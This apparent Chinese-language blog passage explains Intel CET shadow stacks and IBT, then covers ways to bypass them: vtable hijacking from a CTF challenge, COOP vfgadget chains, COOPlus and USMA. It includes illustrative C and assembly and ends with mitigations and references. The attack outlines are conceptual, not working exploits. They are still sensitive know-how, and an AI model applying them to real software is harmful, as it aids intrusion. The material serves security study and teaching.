    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用,启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld.so(注意要使用宏函数,原因见上方源码中注释):

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    
    // ...
    
    DISABLE_SHSTK // 或者直接 exit(0);
    return 0;
}

SHSTK 内核底层实现

arch_prctl 在处理 SHSTK 相关操作时会转到 shstk_prctl,SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。SHSTK 本身主要由硬件实现,内核只负责检查参数、管理 shadow stack 内存页、通过 wrss 指令设置相关寄存器和异常处理等。

在申请 shadow stack 内存页 do_mmap 时,flags 参数传入了一个新的标志 VM_SHADOW_STACKbootlin),这样 mmap 会额外申请一个保护页(guard page),这个页一旦被读写就会触发异常。Shadow stack 指针(ssp)移动方式有 pushpopincssp 指令,其中 incssp 指令移动 ssp 后会目标地址及相邻的内存,且 ssp 一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到用户可控的内存区。

(内核这块目前我还不清楚,以后补充吧。)

Intel CET 启用后的攻击思路

虽然 ROP 被 SHSTK 彻底拿下(😭),但是 IBT 提供的前向控制流保护只检查了跳转的地址是否合法,没考虑这个地址是否被替换。于是我们就有了新的攻击思路。

虚函数表劫持

我在 Mini L-CTF 2025 中恰好出了一道好评率为 0 的虚函数表劫持(virtual table hijack)相关的 Pwn 题(CTFers)。于是把那道题的题解搬到这里。

我们考虑这样的 C++ 程序:

#include <iostream>
#include <vector>

class Base {
  public:
    virtual void func() = 0; // 纯虚函数
};

class A : public Base {
    void func() override { std::cout << "I am A!\n"; }
};

class B : public Base {
    void func() override { std::cout << "I am B!\n"; }
};

int main() {
    std::vector<Base *> objs;

    objs.emplace_back(new A());
    objs.emplace_back(new B());
    for (auto obj : objs) {
        obj->func();
    }
}

// 输出:
// I am A!
// I am B!

AB 继承自 Basestd::vector 存储这两种对象时仅存储其基类对象指针(实际应该使用智能指针)而丢弃了具体的类型信息(A 还是 B?)。然而我们依旧可以直接调用对应类型的虚函数 func,这是因为 C++ 运行时多态特性。大多数编译器实现它的方式是虚函数表,在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表。虚函数被调用时首先从对象里的虚函数表指针指向的虚函数表中取出对应虚函数地址,然后再进行调用:

; rax 为对象地址
mov     rdx, qword [rax]          ; 取虚函数表
mov     rdx, qword [rdx + offset] ; 取虚函数
mov     rdi, rax                  ; 传 this 指针隐式作为首个参数
call    rdx                       ; 虚函数调用

所以,一个包含了虚函数的 C++ 对象的内存布局会是这样:

struct Object {
    void (**vtable)(struct Object *, ...); // 虚函数表指针
    
    /* 对象字段 ... */
};

如果我们能劫持虚函数表指针,指向伪造的虚函数表,其中包含类似 one_gadget 那样的后门函数或者 system 之类。可实际情况我们往往需要拼接多个代码片段达到任意代码执行的效果(用来泄露基址、执行 orw 等)。没有 ROP 的话怎么做到链式“拼接”代码片段呢?有研究人员提出了 COOP(虽然但是这大概是绕过 CFI 检查多种思路中相对困难的一种)

开启控制流完整性保护后第一时间考虑的攻击方式应该是各种 data-only(仅数据)攻击,不篡改控制流但篡改敏感数据从而控制程序行为。COOP 攻击只在很极端的情况才能达成,不过确实是一个挺有趣且并非前所未有的形式 :)。

COOP

COOP(Counterfeit Object Oriented Programming / 面向伪对象编程)是一种新的代码重用攻击。其实我们早已见过 COOP 攻击:高版本 glibc 堆利用往往结合 IO_FILE 利用,“打 IO”就是一种原始的 COOP,只是不在 C++ 中。通过篡改 IO_FILE 中某些作为跳表函数参数的字段,篡改 vtable,构造 system("/bin/sh")。然而我们的目标是实现几乎任意代码执行,需要真正的基于 vfgadgets 的 COOP。

Vfgadgets 是 COOP 论文提出的新型 gadgets,由于 SHSTK + IBT,我们能够利用的 gadgets 从 ret 前的代码片段(ROP gadgets)变成了完整的函数——vfgadget。vfgadgets 大致可以分为 Main Loop Gadget(将其他 vfgadgets 串联起来)、Argument Loader Gadget(类似 ROP 中的 pop rdi; ret;)、Invoker Gadget(类似 ROP 中的 system)和 Collector Gadget(存储 Invoker 的结果)。

img

以上是一张关于 COOP 攻击十分经典的配图

搜寻 vfgadgets 的工具(类似 ropper):https://github.com/x86-512/VXpp

我觉得理解 COOP 需要搞清楚这几种 vfgadgets 的来源,以下是高度简化的模型:

// 这个类实际上应该不会生成虚函数,所有 vfgadgets 也不是在同一个类中,只为简化理解。
class Vfgadgets {
    size_t data;              // 数据类型不是重点
    size_t *addr;
    std::vector<Base *> objs; // 也可以是更简单的:Base* objs[N];

    virtual void looper() {
        for (auto obj : objs) {
            obj->func();
        }
    }
    
    virtual void invoker() {
        this->victim_vfunc();
    }
    
    virtual void loader() {
        size_t var;       // 寄存器变量
        var = this->data; // 也可以是 var = *(this->addr) 之类
                          // 总之是从对象写入寄存器
    }

    virtual void collector(size_t arg) {
        this->data = arg; // 也可以是 *(this->addr) = arg; *(this->addr) = 1234; 之类
                          // 总之是从寄存器或立即数写入对象
    }
    
    virtual void victim_vfunc() {
        // 这里的函数体不是重点,反正会被篡改成另一个函数。
    }
};

其实为了给这些 vfgadgets 再分类,原论文用了很多概念和抽象,我写得还是过于不严谨了(应该比较直观吧)。这几种 vfgadgets 中最重要的是 Main Loop Gadget(Looper),它将所有真正有用的 vfgadgets 串联起来,构成链式调用,达到 ROP 不断返回到各种代码片段连成一串的效果。Looper 从当前对象字段中取出类似数组的容器,其中是有虚函数表的对象,并遍历执行每个对象的某个虚函数。这在开启了优化的大型 C++ 程序特别是 GUI 程序中比较常见,比如释放资源时调用虚析构函数,注册/注销事件之类。

COOP 的攻击条件是已知基址且能够伪造对象,例如 UAF 或者堆缓冲区溢出等漏洞,可以控制堆上分配的对象。我们需要伪造的东西有:

  1. Looper 所在对象(类比 FSOP 时篡改 _IO_list_all

    ​ 篡改其某即将被调用的虚函数为来自另一个对象或全局函数 (?) 的 Looper,再篡改这个 Looper 遍历的伪对象容器地址或内容(指针数组)。

  2. Looper 遍历的伪对象(类比 FSOP 时构造 fake files)

    ​ 将会被调用的虚函数改为其他三种 vfgadgets。

一旦 Looper 被调用,它就会逐个执行容器中一连串伪对象中的 vfgadgets。如果没有 IBT 只有 SHSTK 保护的话,那应该就可以直接把 ROP gadgets 当作 vfgadgets,只是这些 gadgets 不由 ret“触发”而是直接被 call,理应实现任意代码执行。如果开启了 IBT 就更加困难了,毕竟只能执行完整的函数 (?),而不是 ret 前的代码片段,不过依旧能够实现攻击。(据说 COOP 和 ROP 一样是图灵完备的,具体分析过程我还没看明白。)

这种玩法好像在哪里见过?

  • Glibc IO_FILE 利用中有种类似的手法 FSOP。FSOP 通过 _chain 链接任意读写原语,遍历 _IO_list_all_IO_flush_all 可以看作 looper。
  • 很像篡改 glibc ld.so _rtld_global 伪造 fini_arrayfini_array 类似那个容器,不过里面存的直接就是 vfgadgets,那么负责遍历调用 fini_array 中函数的 __run_exit_handlers 就像是 looper 了。

COOPlus 原论文的 presentation 里面有很多配图值得一看。

COOPlus

简单地通过修改虚函数表指针劫持虚函数表早就有了对应的保护措施,例如 gcc 的 virtual table verification(VTV)。虚函数表中会有一个类似 stack canary 的 magic number,在调用虚函数前会先校验虚函数表指针,虚函数表指针一定要指向虚函数表 ✍。我们熟悉的 glibc IO 也会检查 IO_FILE_plus 虚函数表指针 vtable,不过那是通过地址范围来检查。由于虚函数表一般都在只读段,所以不容易篡改。

然而如果我们在整个利用过程中所有虚函数表指针都合法呢?也就是只是将某个对象的虚函数表指针更换为另一个对象的。由于不同类的虚函数表往往放在一起,只需篡改虚函数表指针低位,无需泄露基址就可能更换虚函数表,从而实现越界修改对象字段等简单操作。这就是 COOPlus。COOPlus 主要用来扩大攻击面,通过 vfgadgets 篡改对象中的关键字段(例如权限等级、缓冲区长度等)从而进一步利用。

COOPlus 原论文设计了一个工具 VScape,可以自动扫描程序中 COOPlus 攻击原语。论文作者经过测试发现许多大型 C++ 程序都有不少适合 COOPlus 攻击的虚函数。

USMA

USMA 是由 360 漏洞研究院提出的一种 linux kernel 利用方式。“它允许普通用户进程可以映射内核态内存并且修改内核代码段,通过这个方法,我们可以绕过Linux内核中的CFI缓解措施,在内核态中执行任意代码。”

详细过程请看原文:USMA:用户态映射攻击

缓解措施

如果细粒度前向控制流完整性保护启用了的话,每次虚函数调用都要校验函数指针(而非只是表)的签名,那 COOP 应该就失效了。不过这样激进的保护应该不太可能大面积应用。

……

参考资料

COOP 原论文

COOPlus / VScape 原论文

Bypassing Intel CET with Counterfeit Objects

CVE-2015-5122: Exploitation Using COOP

《Counterfeit Object-oriented Programming》 论文笔记

顺带一提:最近在学习 linux kernel pwn 的时候发现所有的虚函数前面都有 __cfi_*“函数”,其开头是 moveax, 0x8f07ca55,后面有一些 nop 然后直接 fallthrough 进入真正的函数实现。稍微了解了下,这应该是 LLVM / Clang 引入的 CFI (Control Flow Intergrity) 检查。在调用这样的虚函数前,会先校验函数指针:如果函数指针指向的代码段内容第 1~4 个字节是 0x8f07ca55(第 0 个字节是 mov 指令),才通过检查,如果不是就进一步处理,大概率会直接 panic。类似 glibc tcache 对 key 的检查。控制流完整性检查在 linux 内核态已经相对完善,而且实现起来也比在用户态简单。